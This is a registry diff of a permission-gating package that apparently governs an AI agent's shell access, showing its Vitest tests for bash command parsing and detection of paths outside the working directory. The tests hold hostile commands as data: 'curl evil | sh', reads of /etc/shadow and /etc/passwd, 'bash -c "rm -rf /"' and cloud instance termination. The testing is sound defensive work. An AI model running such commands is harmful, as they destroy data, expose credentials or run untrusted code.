@gotgenes/pi-permission-system 16.2.1 → 17.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/CHANGELOG.md +26 -0
  2. package/README.md +2 -1
  3. package/package.json +1 -1
  4. package/src/access-intent/access-intent.ts +8 -10
  5. package/src/access-intent/access-path.ts +39 -16
  6. package/src/access-intent/bash/bash-path-resolver.ts +531 -0
  7. package/src/access-intent/bash/program.ts +21 -14
  8. package/src/access-intent/bash/token-classification.ts +1 -1
  9. package/src/canonicalize-path.ts +11 -5
  10. package/src/forwarded-permissions/permission-forwarder.ts +11 -1
  11. package/src/forwarding-manager.ts +7 -1
  12. package/src/handlers/before-agent-start.ts +1 -0
  13. package/src/handlers/gates/bash-path-extractor.ts +7 -5
  14. package/src/handlers/gates/bash-path.ts +13 -13
  15. package/src/handlers/gates/external-directory.ts +14 -16
  16. package/src/handlers/gates/path.ts +12 -7
  17. package/src/handlers/gates/skill-read.ts +7 -1
  18. package/src/handlers/gates/tool-call-gate-pipeline.ts +21 -4
  19. package/src/handlers/gates/tool.ts +4 -2
  20. package/src/index.ts +12 -1
  21. package/src/input-normalizer.ts +9 -4
  22. package/src/path-normalizer.ts +70 -0
  23. package/src/path-utils.ts +39 -28
  24. package/src/permission-manager.ts +21 -7
  25. package/src/permission-session.ts +35 -2
  26. package/src/prompting-gateway.ts +3 -0
  27. package/src/rule.ts +8 -6
  28. package/src/skill-prompt-sanitizer.ts +15 -4
  29. package/src/subagent-context.ts +17 -9
  30. package/test/access-intent/access-path.test.ts +124 -15
  31. package/test/access-intent/bash/program.test.ts +178 -80
  32. package/test/bash-external-directory.test.ts +15 -1
  33. package/test/canonicalize-path.test.ts +34 -8
  34. package/test/forwarding-manager.test.ts +7 -1
  35. package/test/handlers/external-directory-symlink-acceptance.test.ts +26 -4
  36. package/test/handlers/gates/bash-command-metamorphic.test.ts +5 -1
  37. package/test/handlers/gates/bash-external-directory.test.ts +5 -2
  38. package/test/handlers/gates/bash-path.test.ts +14 -9
  39. package/test/handlers/gates/external-directory-policy.test.ts +28 -18
  40. package/test/handlers/gates/external-directory.test.ts +9 -1
  41. package/test/handlers/gates/path.test.ts +90 -20
  42. package/test/handlers/gates/skill-read.test.ts +22 -13
  43. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +2 -1
  44. package/test/handlers/gates/tool.test.ts +13 -1
  45. package/test/helpers/gate-fixtures.ts +11 -2
  46. package/test/helpers/session-fixtures.ts +3 -0
  47. package/test/input-normalizer.test.ts +104 -39
  48. package/test/path-normalizer.test.ts +123 -0
  49. package/test/path-utils.test.ts +130 -51
  50. package/test/permission-forwarder.test.ts +1 -0
  51. package/test/permission-manager-unified.test.ts +40 -0
  52. package/test/permission-resolver.test.ts +14 -32
  53. package/test/permission-session.test.ts +41 -0
  54. package/test/pi-infrastructure-read.test.ts +27 -4
  55. package/test/prompting-gateway.test.ts +1 -0
  56. package/test/rule.test.ts +88 -42
  57. package/test/session-rules.test.ts +21 -4
  58. package/test/skill-prompt-sanitizer.test.ts +69 -14
  59. package/test/subagent-context.test.ts +77 -31
  60. package/test/synthesize.test.ts +13 -11
  61. package/src/access-intent/bash/cwd-projection.ts +0 -498
@@ -11,56 +11,91 @@ vi.mock("node:fs", () => ({
11
11
  }));
12
12
 
13
13
  import { BashProgram } from "#src/access-intent/bash/program";
14
+ import { PathNormalizer } from "#src/path-normalizer";
14
15
 
15
16
  describe("BashProgram", () => {
16
17
  describe("pathRuleCandidates", () => {
17
18
  const cwd = "/projects/my-app";
19
+ const normalizer = new PathNormalizer(process.platform, cwd);
20
+
21
+ beforeEach(() => {
22
+ realpathSync.mockReset();
23
+ realpathSync.mockImplementation((p: string) => p);
24
+ });
18
25
 
19
26
  it("adds absolute and relative policy values for relative tokens", async () => {
20
- const program = await BashProgram.parse("cat src/foo.ts", cwd);
21
- expect(program.pathRuleCandidates()).toEqual([
22
- {
23
- token: "src/foo.ts",
24
- policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
25
- },
27
+ const program = await BashProgram.parse("cat src/foo.ts", normalizer);
28
+ const candidates = program.pathRuleCandidates();
29
+ expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
30
+ expect(candidates[0].path.matchValues()).toEqual([
31
+ "/projects/my-app/src/foo.ts",
32
+ "src/foo.ts",
26
33
  ]);
34
+ expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
27
35
  });
28
36
 
29
37
  it("resolves tokens after literal cd against the effective directory", async () => {
30
38
  const program = await BashProgram.parse(
31
39
  "cd nested && cat src/file.txt",
32
- cwd,
40
+ normalizer,
33
41
  );
34
42
  const fileCandidate = program
35
43
  .pathRuleCandidates()
36
44
  .find((candidate) => candidate.token === "src/file.txt");
37
- expect(fileCandidate).toEqual({
38
- token: "src/file.txt",
39
- policyValues: [
40
- "/projects/my-app/nested/src/file.txt",
41
- "nested/src/file.txt",
42
- "src/file.txt",
43
- ],
44
- });
45
+ expect(fileCandidate?.path.matchValues()).toEqual([
46
+ "/projects/my-app/nested/src/file.txt",
47
+ "nested/src/file.txt",
48
+ "src/file.txt",
49
+ ]);
50
+ expect(fileCandidate?.path.value()).toBe(
51
+ "/projects/my-app/nested/src/file.txt",
52
+ );
53
+ });
54
+
55
+ it("adds the canonical alias for a symlinked token (#486)", async () => {
56
+ // /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
57
+ realpathSync.mockImplementation((p: string) =>
58
+ p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
59
+ );
60
+ const program = await BashProgram.parse("cat src/foo.ts", normalizer);
61
+ const candidate = program.pathRuleCandidates()[0];
62
+ expect(candidate.path.matchValues()).toEqual([
63
+ "/projects/my-app/src/foo.ts",
64
+ "src/foo.ts",
65
+ "/vault/foo.ts",
66
+ ]);
45
67
  });
46
68
 
47
69
  it("does not absolute-allow relative tokens after unknown cd", async () => {
48
70
  const program = await BashProgram.parse(
49
71
  'cd "$DIR" && cat src/foo.ts',
50
- cwd,
72
+ normalizer,
51
73
  );
52
74
  const fileCandidate = program
53
75
  .pathRuleCandidates()
54
76
  .find((candidate) => candidate.token === "src/foo.ts");
55
- expect(fileCandidate).toEqual({
56
- token: "src/foo.ts",
57
- policyValues: ["src/foo.ts"],
58
- });
77
+ expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
78
+ expect(fileCandidate?.path.value()).toBe("src/foo.ts");
79
+ });
80
+
81
+ it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
82
+ // A canonical alias here would resolve against the wrong (unknown) base.
83
+ realpathSync.mockImplementation(() => "/somewhere/else");
84
+ const program = await BashProgram.parse(
85
+ 'cd "$DIR" && cat src/foo.ts',
86
+ normalizer,
87
+ );
88
+ const fileCandidate = program
89
+ .pathRuleCandidates()
90
+ .find((candidate) => candidate.token === "src/foo.ts");
91
+ expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
92
+ expect(fileCandidate?.path.boundaryValue()).toBe("");
59
93
  });
60
94
  });
61
95
 
62
96
  describe("externalPaths", () => {
63
97
  const cwd = "/projects/my-app";
98
+ const normalizer = new PathNormalizer(process.platform, cwd);
64
99
 
65
100
  beforeEach(() => {
66
101
  realpathSync.mockReset();
@@ -68,7 +103,7 @@ describe("BashProgram", () => {
68
103
  });
69
104
 
70
105
  it("returns absolute paths resolving outside cwd", async () => {
71
- const program = await BashProgram.parse("cat /etc/hosts", cwd);
106
+ const program = await BashProgram.parse("cat /etc/hosts", normalizer);
72
107
  // Subset matcher: the path is normalized before comparison.
73
108
  expect(program.externalPaths().map((p) => p.value())).toContain(
74
109
  "/etc/hosts",
@@ -76,16 +111,48 @@ describe("BashProgram", () => {
76
111
  });
77
112
 
78
113
  it("excludes paths within cwd", async () => {
79
- const program = await BashProgram.parse("cat src/index.ts", cwd);
114
+ const program = await BashProgram.parse("cat src/index.ts", normalizer);
80
115
  expect(program.externalPaths()).toHaveLength(0);
81
116
  });
82
117
 
118
+ describe("win32 projection (injected platform, no vi.mock node:path)", () => {
119
+ const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
120
+
121
+ it("resolves and case-folds a rooted path outside cwd", async () => {
122
+ const program = await BashProgram.parse(
123
+ "cat /etc/hosts",
124
+ winNormalizer,
125
+ );
126
+ expect(program.externalPaths().map((p) => p.value())).toEqual([
127
+ "c:\\etc\\hosts",
128
+ ]);
129
+ });
130
+
131
+ it("flags a ..-traversal escaping cwd under win32 rules", async () => {
132
+ const program = await BashProgram.parse(
133
+ "cat ../sibling/x",
134
+ winNormalizer,
135
+ );
136
+ expect(program.externalPaths().map((p) => p.value())).toEqual([
137
+ "c:\\projects\\sibling\\x",
138
+ ]);
139
+ });
140
+
141
+ it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
142
+ const program = await BashProgram.parse(
143
+ "cd sub && cat ../x",
144
+ winNormalizer,
145
+ );
146
+ expect(program.externalPaths()).toHaveLength(0);
147
+ });
148
+ });
149
+
83
150
  describe("effective working directory projection", () => {
84
151
  it("folds a sequence of current-shell cd commands", async () => {
85
152
  // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
86
153
  const program = await BashProgram.parse(
87
154
  "cd a && cd b && cat ../c",
88
- cwd,
155
+ normalizer,
89
156
  );
90
157
  expect(program.externalPaths()).toHaveLength(0);
91
158
  });
@@ -95,7 +162,7 @@ describe("BashProgram", () => {
95
162
  // ../../etc/passwd escapes to /projects/etc/passwd.
96
163
  const program = await BashProgram.parse(
97
164
  "cd nested/deep && cd .. && cat ../../etc/passwd",
98
- cwd,
165
+ normalizer,
99
166
  );
100
167
  expect(program.externalPaths().map((p) => p.value())).toContain(
101
168
  "/projects/etc/passwd",
@@ -107,7 +174,7 @@ describe("BashProgram", () => {
107
174
  // folds, so ../b resolves to cwd/b (inside) and is not flagged.
108
175
  const program = await BashProgram.parse(
109
176
  "mkdir d && cd a && cat ../b",
110
- cwd,
177
+ normalizer,
111
178
  );
112
179
  expect(program.externalPaths()).toHaveLength(0);
113
180
  });
@@ -115,7 +182,7 @@ describe("BashProgram", () => {
115
182
  it("does not fold a backgrounded cd", async () => {
116
183
  // `cd a &` runs in a subshell, so it must not update the running
117
184
  // directory; ../b resolves against cwd and escapes.
118
- const program = await BashProgram.parse("cd a & cat ../b", cwd);
185
+ const program = await BashProgram.parse("cd a & cat ../b", normalizer);
119
186
  expect(program.externalPaths().map((p) => p.value())).toContain(
120
187
  "/projects/b",
121
188
  );
@@ -123,7 +190,10 @@ describe("BashProgram", () => {
123
190
 
124
191
  it("does not fold a cd inside a pipeline", async () => {
125
192
  // Pipeline members run in subshells; the cd must not leak.
126
- const program = await BashProgram.parse("cd nested | cat ../b", cwd);
193
+ const program = await BashProgram.parse(
194
+ "cd nested | cat ../b",
195
+ normalizer,
196
+ );
127
197
  expect(program.externalPaths().map((p) => p.value())).toContain(
128
198
  "/projects/b",
129
199
  );
@@ -131,13 +201,19 @@ describe("BashProgram", () => {
131
201
 
132
202
  it("folds a cd inside a subshell for paths within that subshell", async () => {
133
203
  // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
134
- const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
204
+ const program = await BashProgram.parse(
205
+ "( cd sub && cat ../x )",
206
+ normalizer,
207
+ );
135
208
  expect(program.externalPaths()).toHaveLength(0);
136
209
  });
137
210
 
138
211
  it("does not leak a subshell cd to following commands", async () => {
139
212
  // The subshell cd resets on exit, so ../y resolves against cwd.
140
- const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
213
+ const program = await BashProgram.parse(
214
+ "( cd sub ) && cat ../y",
215
+ normalizer,
216
+ );
141
217
  expect(program.externalPaths().map((p) => p.value())).toContain(
142
218
  "/projects/y",
143
219
  );
@@ -145,12 +221,18 @@ describe("BashProgram", () => {
145
221
 
146
222
  it("persists a cd inside a brace group to later commands in the group", async () => {
147
223
  // Brace groups run in the current shell, so cd sub persists to cat ../x.
148
- const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
224
+ const program = await BashProgram.parse(
225
+ "{ cd sub; cat ../x; }",
226
+ normalizer,
227
+ );
149
228
  expect(program.externalPaths()).toHaveLength(0);
150
229
  });
151
230
 
152
231
  it("persists a brace-group cd to following sibling commands", async () => {
153
- const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
232
+ const program = await BashProgram.parse(
233
+ "{ cd sub; } && cat ../x",
234
+ normalizer,
235
+ );
154
236
  expect(program.externalPaths()).toHaveLength(0);
155
237
  });
156
238
 
@@ -160,7 +242,7 @@ describe("BashProgram", () => {
160
242
  // resolved against cwd/q. Conservative — never misses an escape.
161
243
  const program = await BashProgram.parse(
162
244
  "echo $(cd q && cat ../r)",
163
- cwd,
245
+ normalizer,
164
246
  );
165
247
  expect(program.externalPaths().map((p) => p.value())).toContain(
166
248
  "/projects/r",
@@ -170,7 +252,10 @@ describe("BashProgram", () => {
170
252
  it("flags relative paths conservatively after a non-literal cd", async () => {
171
253
  // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
172
254
  // so it is flagged (least-privilege).
173
- const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
255
+ const program = await BashProgram.parse(
256
+ 'cd "$DIR" && cat ../x',
257
+ normalizer,
258
+ );
174
259
  expect(program.externalPaths().map((p) => p.value())).toContain(
175
260
  "/projects/x",
176
261
  );
@@ -181,7 +266,7 @@ describe("BashProgram", () => {
181
266
  // flagged because the effective dir is unknown.
182
267
  const program = await BashProgram.parse(
183
268
  'cd "$DIR" && cat src/../within.txt',
184
- cwd,
269
+ normalizer,
185
270
  );
186
271
  expect(program.externalPaths().map((p) => p.value())).toContain(
187
272
  "/projects/my-app/within.txt",
@@ -193,13 +278,13 @@ describe("BashProgram", () => {
193
278
  // even when the effective dir is unknown.
194
279
  const program = await BashProgram.parse(
195
280
  'cd "$DIR" && cat /projects/my-app/x.txt',
196
- cwd,
281
+ normalizer,
197
282
  );
198
283
  expect(program.externalPaths()).toHaveLength(0);
199
284
  });
200
285
 
201
286
  it("treats `cd -` as an unknown effective directory", async () => {
202
- const program = await BashProgram.parse("cd - && cat ../x", cwd);
287
+ const program = await BashProgram.parse("cd - && cat ../x", normalizer);
203
288
  expect(program.externalPaths().map((p) => p.value())).toContain(
204
289
  "/projects/x",
205
290
  );
@@ -210,7 +295,7 @@ describe("BashProgram", () => {
210
295
  // ../x resolves to cwd and is not flagged.
211
296
  const program = await BashProgram.parse(
212
297
  'cd "$DIR" && cd /projects/my-app/src && cat ../x',
213
- cwd,
298
+ normalizer,
214
299
  );
215
300
  expect(program.externalPaths()).toHaveLength(0);
216
301
  });
@@ -223,7 +308,7 @@ describe("BashProgram", () => {
223
308
  // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
224
309
  const program = await BashProgram.parse(
225
310
  "cd a && pnpm x 2>&1 | tail ; cat ../b",
226
- cwd,
311
+ normalizer,
227
312
  );
228
313
  expect(program.externalPaths()).toHaveLength(0);
229
314
  });
@@ -234,7 +319,7 @@ describe("BashProgram", () => {
234
319
  // cwd instead of escaping one level above.
235
320
  const program = await BashProgram.parse(
236
321
  "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
237
- cwd,
322
+ normalizer,
238
323
  );
239
324
  expect(program.externalPaths()).toHaveLength(0);
240
325
  });
@@ -247,7 +332,7 @@ describe("BashProgram", () => {
247
332
  // inside — a fail-open regression this test pins.
248
333
  const program = await BashProgram.parse(
249
334
  "cd a && cd b 2>&1 | tail ; cat ../../x",
250
- cwd,
335
+ normalizer,
251
336
  );
252
337
  expect(program.externalPaths().map((p) => p.value())).toContain(
253
338
  "/projects/x",
@@ -260,7 +345,7 @@ describe("BashProgram", () => {
260
345
  // pre-cd base.
261
346
  const program = await BashProgram.parse(
262
347
  "cd a && pnpm x 2>&1 | cat ../foo",
263
- cwd,
348
+ normalizer,
264
349
  );
265
350
  expect(program.externalPaths()).toHaveLength(0);
266
351
  });
@@ -278,7 +363,7 @@ describe("BashProgram", () => {
278
363
  });
279
364
  const program = await BashProgram.parse(
280
365
  "cat /projects/my-app/link/hosts",
281
- cwd,
366
+ normalizer,
282
367
  );
283
368
  const external = program.externalPaths().map((p) => p.value());
284
369
  expect(external).toContain("/projects/my-app/link/hosts");
@@ -295,7 +380,7 @@ describe("BashProgram", () => {
295
380
  });
296
381
  const program = await BashProgram.parse(
297
382
  "cat /tmp/workspace/file.ts",
298
- symlinkCwd,
383
+ new PathNormalizer(process.platform, symlinkCwd),
299
384
  );
300
385
  expect(program.externalPaths()).toHaveLength(0);
301
386
  });
@@ -303,14 +388,15 @@ describe("BashProgram", () => {
303
388
 
304
389
  describe("commands", () => {
305
390
  const cwd = "/projects/my-app";
391
+ const normalizer = new PathNormalizer(process.platform, cwd);
306
392
 
307
393
  it("returns a single-element list for a lone command", async () => {
308
- const program = await BashProgram.parse("npm install pkg", cwd);
394
+ const program = await BashProgram.parse("npm install pkg", normalizer);
309
395
  expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
310
396
  });
311
397
 
312
398
  it("splits an && chain", async () => {
313
- const program = await BashProgram.parse("cd /p && npm i x", cwd);
399
+ const program = await BashProgram.parse("cd /p && npm i x", normalizer);
314
400
  expect(program.commands()).toEqual([
315
401
  { text: "cd /p" },
316
402
  { text: "npm i x" },
@@ -318,22 +404,19 @@ describe("BashProgram", () => {
318
404
  });
319
405
 
320
406
  it("splits || , ; and & separators", async () => {
321
- expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
322
- { text: "a" },
323
- { text: "b" },
324
- ]);
325
- expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
326
- { text: "a" },
327
- { text: "b" },
328
- ]);
329
- expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
330
- { text: "a" },
331
- { text: "b" },
332
- ]);
407
+ expect(
408
+ (await BashProgram.parse("a || b", normalizer)).commands(),
409
+ ).toEqual([{ text: "a" }, { text: "b" }]);
410
+ expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
411
+ [{ text: "a" }, { text: "b" }],
412
+ );
413
+ expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
414
+ [{ text: "a" }, { text: "b" }],
415
+ );
333
416
  });
334
417
 
335
418
  it("splits a pipeline into its commands", async () => {
336
- const program = await BashProgram.parse("cat f | grep b", cwd);
419
+ const program = await BashProgram.parse("cat f | grep b", normalizer);
337
420
  expect(program.commands()).toEqual([
338
421
  { text: "cat f" },
339
422
  { text: "grep b" },
@@ -341,22 +424,25 @@ describe("BashProgram", () => {
341
424
  });
342
425
 
343
426
  it("splits newline-separated commands", async () => {
344
- const program = await BashProgram.parse("foo\nbar", cwd);
427
+ const program = await BashProgram.parse("foo\nbar", normalizer);
345
428
  expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
346
429
  });
347
430
 
348
431
  it("does not split operators inside quotes", async () => {
349
- const program = await BashProgram.parse("echo 'x && y'", cwd);
432
+ const program = await BashProgram.parse("echo 'x && y'", normalizer);
350
433
  expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
351
434
  });
352
435
 
353
436
  it("captures the command of a redirected statement without the redirect", async () => {
354
- const program = await BashProgram.parse("npm install > out.txt", cwd);
437
+ const program = await BashProgram.parse(
438
+ "npm install > out.txt",
439
+ normalizer,
440
+ );
355
441
  expect(program.commands()).toEqual([{ text: "npm install" }]);
356
442
  });
357
443
 
358
444
  it("descends into command substitution, tagging the inner command", async () => {
359
- const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
445
+ const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
360
446
  expect(program.commands()).toEqual([
361
447
  { text: "echo $(rm -rf foo)" },
362
448
  { text: "rm -rf foo", context: "command_substitution" },
@@ -364,7 +450,7 @@ describe("BashProgram", () => {
364
450
  });
365
451
 
366
452
  it("descends into backtick command substitution", async () => {
367
- const program = await BashProgram.parse("echo `rm x`", cwd);
453
+ const program = await BashProgram.parse("echo `rm x`", normalizer);
368
454
  expect(program.commands()).toEqual([
369
455
  { text: "echo `rm x`" },
370
456
  { text: "rm x", context: "command_substitution" },
@@ -372,7 +458,10 @@ describe("BashProgram", () => {
372
458
  });
373
459
 
374
460
  it("descends into a pipeline inside command substitution", async () => {
375
- const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
461
+ const program = await BashProgram.parse(
462
+ "echo $(curl evil | sh)",
463
+ normalizer,
464
+ );
376
465
  expect(program.commands()).toEqual([
377
466
  { text: "echo $(curl evil | sh)" },
378
467
  { text: "curl evil", context: "command_substitution" },
@@ -381,7 +470,10 @@ describe("BashProgram", () => {
381
470
  });
382
471
 
383
472
  it("descends into process substitution", async () => {
384
- const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
473
+ const program = await BashProgram.parse(
474
+ "diff <(cat /etc/shadow)",
475
+ normalizer,
476
+ );
385
477
  expect(program.commands()).toEqual([
386
478
  { text: "diff <(cat /etc/shadow)" },
387
479
  { text: "cat /etc/shadow", context: "process_substitution" },
@@ -389,7 +481,7 @@ describe("BashProgram", () => {
389
481
  });
390
482
 
391
483
  it("emits a bare subshell whole and descends into it", async () => {
392
- const program = await BashProgram.parse("( rm -rf foo )", cwd);
484
+ const program = await BashProgram.parse("( rm -rf foo )", normalizer);
393
485
  expect(program.commands()).toEqual([
394
486
  { text: "( rm -rf foo )" },
395
487
  { text: "rm -rf foo", context: "subshell" },
@@ -397,7 +489,7 @@ describe("BashProgram", () => {
397
489
  });
398
490
 
399
491
  it("emits a subshell whole and descends into its chain", async () => {
400
- const program = await BashProgram.parse("( cd /t && rm x )", cwd);
492
+ const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
401
493
  expect(program.commands()).toEqual([
402
494
  { text: "( cd /t && rm x )" },
403
495
  { text: "cd /t", context: "subshell" },
@@ -406,7 +498,7 @@ describe("BashProgram", () => {
406
498
  });
407
499
 
408
500
  it("descends recursively through nested contexts", async () => {
409
- const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
501
+ const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
410
502
  expect(program.commands()).toEqual([
411
503
  { text: "echo $( ( rm x ) )" },
412
504
  { text: "( rm x )", context: "command_substitution" },
@@ -415,7 +507,10 @@ describe("BashProgram", () => {
415
507
  });
416
508
 
417
509
  it("descends into a substitution within a chained command", async () => {
418
- const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
510
+ const program = await BashProgram.parse(
511
+ "cd /p && echo $(rm x)",
512
+ normalizer,
513
+ );
419
514
  expect(program.commands()).toEqual([
420
515
  { text: "cd /p" },
421
516
  { text: "echo $(rm x)" },
@@ -424,7 +519,7 @@ describe("BashProgram", () => {
424
519
  });
425
520
 
426
521
  it("keeps the never-weaker invariant: a benign inner command stays", async () => {
427
- const program = await BashProgram.parse("echo $(echo safe)", cwd);
522
+ const program = await BashProgram.parse("echo $(echo safe)", normalizer);
428
523
  expect(program.commands()).toEqual([
429
524
  { text: "echo $(echo safe)" },
430
525
  { text: "echo safe", context: "command_substitution" },
@@ -432,14 +527,16 @@ describe("BashProgram", () => {
432
527
  });
433
528
 
434
529
  it("returns an empty list for an empty or whitespace command", async () => {
435
- expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
436
- expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
530
+ expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
531
+ expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
532
+ [],
533
+ );
437
534
  });
438
535
 
439
536
  it("strips a leading env-var assignment prefix", async () => {
440
537
  const program = await BashProgram.parse(
441
538
  "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
442
- cwd,
539
+ normalizer,
443
540
  );
444
541
  expect(program.commands()).toEqual([
445
542
  { text: "aws ec2 terminate-instances --instance-ids i-1" },
@@ -447,14 +544,14 @@ describe("BashProgram", () => {
447
544
  });
448
545
 
449
546
  it("strips multiple leading env-var assignments", async () => {
450
- const program = await BashProgram.parse("A=1 B=2 aws s3 ls", cwd);
547
+ const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
451
548
  expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
452
549
  });
453
550
 
454
551
  it("strips the env-var prefix of each command in a chain", async () => {
455
552
  const program = await BashProgram.parse(
456
553
  "X=1 aws sts get-caller-identity && ls",
457
- cwd,
554
+ normalizer,
458
555
  );
459
556
  expect(program.commands()).toEqual([
460
557
  { text: "aws sts get-caller-identity" },
@@ -463,7 +560,7 @@ describe("BashProgram", () => {
463
560
  });
464
561
 
465
562
  it("keeps a pure assignment with no command unchanged", async () => {
466
- const program = await BashProgram.parse("FOO=bar", cwd);
563
+ const program = await BashProgram.parse("FOO=bar", normalizer);
467
564
  expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
468
565
  });
469
566
 
@@ -478,14 +575,14 @@ describe("BashProgram", () => {
478
575
  ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
479
576
  ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
480
577
  ])("flags %s as opaque", async (command, text) => {
481
- const program = await BashProgram.parse(command, cwd);
578
+ const program = await BashProgram.parse(command, normalizer);
482
579
  expect(program.commands()).toEqual([{ text, opaque: true }]);
483
580
  });
484
581
 
485
582
  it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
486
583
  const program = await BashProgram.parse(
487
584
  'AWS_PROFILE=prod bash -c "rm -rf /"',
488
- cwd,
585
+ normalizer,
489
586
  );
490
587
  expect(program.commands()).toEqual([
491
588
  { text: 'bash -c "rm -rf /"', opaque: true },
@@ -498,7 +595,7 @@ describe("BashProgram", () => {
498
595
  "ls -la",
499
596
  "grep -c foo file",
500
597
  ])("does not flag %s as opaque", async (command) => {
501
- const program = await BashProgram.parse(command, cwd);
598
+ const program = await BashProgram.parse(command, normalizer);
502
599
  expect(program.commands()).toEqual([{ text: command }]);
503
600
  });
504
601
  });
@@ -506,7 +603,8 @@ describe("BashProgram", () => {
506
603
 
507
604
  it("derives both slices from a single parse", async () => {
508
605
  const cwd = "/projects/my-app";
509
- const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
606
+ const normalizer = new PathNormalizer(process.platform, cwd);
607
+ const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
510
608
  expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
511
609
  ".env",
512
610
  "/etc/hosts",
@@ -18,13 +18,27 @@ vi.mock("node:fs", () => ({
18
18
  }));
19
19
 
20
20
  import { formatDenyReason } from "#src/denial-messages";
21
- import { extractExternalPathsFromBashCommand } from "#src/handlers/gates/bash-path-extractor";
21
+ import { extractExternalPathsFromBashCommand as extractWithNormalizer } from "#src/handlers/gates/bash-path-extractor";
22
22
  import { formatBashExternalDirectoryAskPrompt } from "#src/handlers/gates/external-directory-messages";
23
+ import { PathNormalizer } from "#src/path-normalizer";
23
24
 
24
25
  afterEach(() => {
25
26
  vi.restoreAllMocks();
26
27
  });
27
28
 
29
+ // The production facade now takes a PathNormalizer (platform + cwd baked in);
30
+ // this wrapper preserves the (command, cwd) call shape the suite uses
31
+ // throughout so the projection-correctness assertions stay unchanged.
32
+ function extractExternalPathsFromBashCommand(
33
+ command: string,
34
+ cwd: string,
35
+ ): Promise<string[]> {
36
+ return extractWithNormalizer(
37
+ command,
38
+ new PathNormalizer(process.platform, cwd),
39
+ );
40
+ }
41
+
28
42
  describe("extractExternalPathsFromBashCommand", () => {
29
43
  const cwd = "/projects/my-app";
30
44